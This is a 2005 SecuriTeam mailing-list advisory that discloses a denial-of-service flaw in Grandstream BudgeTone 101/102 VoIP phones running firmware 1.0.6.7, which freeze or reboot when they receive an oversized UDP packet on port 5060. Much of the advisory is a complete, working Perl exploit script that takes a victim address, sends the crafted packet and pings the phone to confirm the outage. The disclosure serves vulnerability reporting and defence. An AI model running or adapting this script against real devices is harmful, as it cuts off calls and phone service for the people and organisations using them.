

[NEWS] Grandstream Budge Tone 101/102 VoIP DoS

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-08/0056.html>

From: SecuriTeam (*support_at_securiteam.com*)

Date: 08/14/05

To: list@securiteam.com

Date: 14 Aug 2005 17:21:59 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Grandstream Budge Tone 101/102 VoIP DoS

SUMMARY

<<http://www.grandstream.com/y-bt100.htm>> Grandstream IP Phone is – "An award-winning next generation IP network telephone based on industry open standards."

It is possible to initiate a denial of service attack against Grandstream phones, this by sending a UDP packet larger than 65534 bytes to port 5060.

DETAILS

Vulnerable Devices:

- * Grandstream Budge Tone-101
- * Grandstream Budge Tone-102

Vulnerable Firmware:

- * Firmware 3D version 1.0.6.7 (previous versions suspected)

If you send an UDP packet larger than 65534 bytes to port 5060 the devices stop working.

- * Any active telephone call will be aborted.

Securiteam: [NEWS] Grandstream Budge Tone 101/102 VoIP DoS

- * The display will show nothing / display freeze.
- * The integrated HTTP-server won't be reachable any more.

To solve the problem, you must switch the phone off and on again.

If you send a packet of exactly 65534 bytes the device may reboot. Smaller packets have no effect.

Exploit:

```
#!/usr/bin/perl
```

```
#
```

```
use IO::Socket;
```

```
use Term::ANSIColor;
```

```
##### U S A G E #####
```

```
system("clear");
```

```
print "\nGrandstream BT101/BT102 DoS\n";
```

```
print "written by pierre kroma (kroma\@syss.de)\n\n";
```

```
if (!$ARGV[2]){
```

```
print qq~
```

```
Usage: perl grandstream-DoS.pl -s <ip-addr> <udp-port> {-r/-s}
```

```
<ip-addr> = ;-)
```

```
<udp-port> = 5060
```

```
-r = 'reboot' the Grandstream BT 101/102
```

```
-s = 'shutdown' the Grandstream BT 101/102
```

```
~; exit;}
```

```
##### D E F I N I T I O N S #####
```

```
$victim = $ARGV[0];
```

```
$port = $ARGV[1];
```

```
$option = $ARGV[2];
```

```
if ( $option == 'r' || $option == 'R' )
```

```
{ $request= 'k'x65534;}
```

```
if ( $option == 's' || $option == 'S' )
```

```
{ $request= 'p'x65535;}
```

```
else
```

```
{ print "Wrong parameter - try it again";
```

```
exit;
```

```
}
```

```
# ping the remote device
```

```
print color 'bold blue';
```

```
print "\nping the remote device $victim\n";
```

```
print color 'reset';
```

```
system("ping -c 3 $victim");
```

Securiteam: [NEWS] Grandstream Budge Tone 101/102 VoIP DoS

```
print color 'bold red';
print "\n Wait ... \n\n\n";
print color 'reset';
$sox =
IO::Socket::INET->new(Proto=>"udp",PeerPort=>"$port",PeerAddr=>"$victim");

print $sox $request;
sleep 1;
close $sox;

# ping the remote device
print color 'bold blue';
print "ping the remote device $victim again\n";
print color 'reset';
system("ping -c 3 $victim");
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:kroma@syss.de>> Pierre Kroma.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.